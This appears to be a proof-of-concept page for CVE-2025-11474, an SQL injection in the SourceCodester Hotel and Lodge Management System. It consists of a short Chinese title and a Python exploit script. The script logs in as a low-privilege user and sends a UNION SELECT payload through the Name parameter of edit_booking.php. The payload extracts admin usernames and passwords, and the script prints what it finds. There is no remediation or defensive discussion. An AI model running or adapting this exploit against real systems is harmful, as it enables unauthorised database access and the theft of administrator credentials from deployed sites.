CVE-2025-11474：SourceCodester酒店管理系统SQL注入漏洞

# CVE-2025-11474 PoC - SQL Injection in edit_booking.php (Name parameter) # Target: SourceCodester Hotel and Lodge Management System 1.0 # Vulnerability: SQL Injection via Name parameter in /edit_booking.php import requests import sys # Target configuration TARGET_URL = "http://target-host/edit_booking.php" LOGIN_URL = "http://target-host/login.php" # Credentials (low-privilege user required) USERNAME = "test_user" PASSWORD = "test_password" # SQL Injection payload - extracts admin credentials SQL_PAYLOAD = "Test' UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM admin-- -" def exploit(): session = requests.Session() # Step 1: Authenticate with low-privilege credentials login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post(LOGIN_URL, data=login_data) print("[+] Authenticated successfully") # Step 2: Send SQL injection payload via Name parameter inject_data = { "id": "1", "Name": SQL_PAYLOAD, "submit": "Update" } response = session.post(TARGET_URL, data=inject_data) print(f"[+] Response status: {response.status_code}") # Step 3: Parse response for extracted data if "admin" in response.text.lower() or "password" in response.text.lower(): print("[+] SQL Injection successful! Extracted data found in response") # Extract sensitive data from response print(response.text) else: print("[-] No data extracted, payload may need adjustment") if __name__ == "__main__": exploit()